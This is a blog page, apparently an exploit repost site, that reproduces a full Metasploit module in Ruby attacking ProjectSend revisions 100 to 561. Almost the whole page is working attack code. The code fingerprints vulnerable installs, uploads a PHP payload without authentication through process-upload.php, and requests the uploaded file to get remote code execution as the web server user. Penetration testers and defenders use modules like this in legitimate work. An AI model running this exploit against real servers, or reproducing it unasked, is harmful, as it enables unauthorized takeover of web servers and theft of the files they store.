Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863103453

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ProjectSend Arbitrary File Upload',
      'Description'    => %q{
        This module exploits a file upload vulnerability in ProjectSend
        revisions 100 to 561. The 'process-upload.php' file allows
        unauthenticated users to upload PHP files resulting in remote
        code execution as the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Fady Mohammed Osman', # Discovery and Exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '35424']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
          ['ProjectSend (PHP Payload)', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 02 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
        ], self.class)
  end

  #
  # Checks if target upload functionality is working
  #
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'process-upload.php')
    )
    if !res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code.to_i == 404
      vprint_error("#{peer} - No process-upload.php found")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 500
      vprint_error("#{peer} - Unable to write file")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      vprint_error("#{peer} - File process-upload.php is not executable")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
      vprint_error("#{peer} - Software is misconfigured")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
      # response on revision 118 onwards includes the file name
      if res.body && res.body =~ /NewFileName/
        return Exploit::CheckCode::Vulnerable
      # response on revisions 100 to 117 does not include the file name
      elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
        return Exploit::CheckCode::Appears
      elsif res.body && res.body =~ /Failed to open output stream/
        vprint_error("#{peer} - Upload folder is not writable")
        return Exploit::CheckCode::Safe
      else
        return Exploit::CheckCode::Detected
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  #
  # Upload PHP payload
  #
  def upload
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
    php = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
    post_data = data.to_s
    print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )
    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
      fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
      fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
    # response on revision 118 onwards includes the file name
    elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
      print_good("#{peer} - Payload uploaded successfully (#{fname})")
      return fname
    # response on revisions 100 to 117 does not include the file name
    elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
      print_warning("#{peer} - File upload may have failed")
      return fname
    else
      vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
  end

  #
  # Execute uploaded file
  #
  def exec(upload_path)
    print_status("#{peer} - Executing #{upload_path}...")
    res = send_request_raw(
      { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
    )
    if !res
      print_status("#{peer} - Request timed out while executing")
    elsif res.code.to_i == 404
      vprint_error("#{peer} - Not found: #{upload_path}")
    elsif res.code.to_i == 200
      vprint_good("#{peer} - Executed #{upload_path}")
    else
      print_error("#{peer} - Unexpected reply")
    end
  end

  #
  # upload && execute
  #
  def exploit
    fname = upload
    register_files_for_cleanup(fname)
    exec("upload/files/#{fname}") # default for r-221 onwards
    unless session_created?
      exec("upload/temp/#{fname}")  # default for r-100 to r-219
    end
  end
end